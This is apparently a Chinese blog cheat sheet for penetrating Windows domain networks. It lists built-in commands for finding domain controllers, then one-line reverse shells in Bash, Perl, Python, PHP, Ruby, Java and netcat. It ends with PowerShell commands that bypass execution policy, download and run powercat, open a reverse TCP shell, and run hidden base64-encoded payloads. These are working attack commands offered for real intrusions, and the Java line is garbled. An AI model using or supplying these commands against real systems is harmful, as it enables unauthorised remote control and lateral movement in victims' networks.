内网域实战渗透常用命令

查找域控的几个常用方法

1.net view

net view /domain

2.set log

set log

3.通过srv记录

nslookup -type=SRV _ldap._tcp.corp

4.使用nltest

nltest /dclist:corp

5.使用dsquery

DsQuery Server -domain corp

6.使用netdom

netdom query pdc

这些都是win系统自带的命令,有的时候win版本不同,有的命令会不存在,所以多一种方法,多一种成功的可能性,实际渗透,自行根据目标环境变换。

各种语言一句话反弹shell

Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功]

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

netcat

nc -e /bin/sh x.x.x.x 2333

但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f

常用Powershell命令

1.通过远程下载来执行

Set-ExecutionPolicy RemoteSigned IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

2.把ps脚本传到本地后执行

PowerShell.exe -ep Bypass -File d:\powercat.ps1

3.本地交互式执行

E:\>PowerShell.exe -ExecutionPolicy Bypass Invoke-PowerShellTcp -Reverse -IPAddress 10.18.180.18 -Port 4444

4.把ps脚本编码成base64来执行[实战用的最多]

powershell -ep bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -enc base64加密过的命令
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值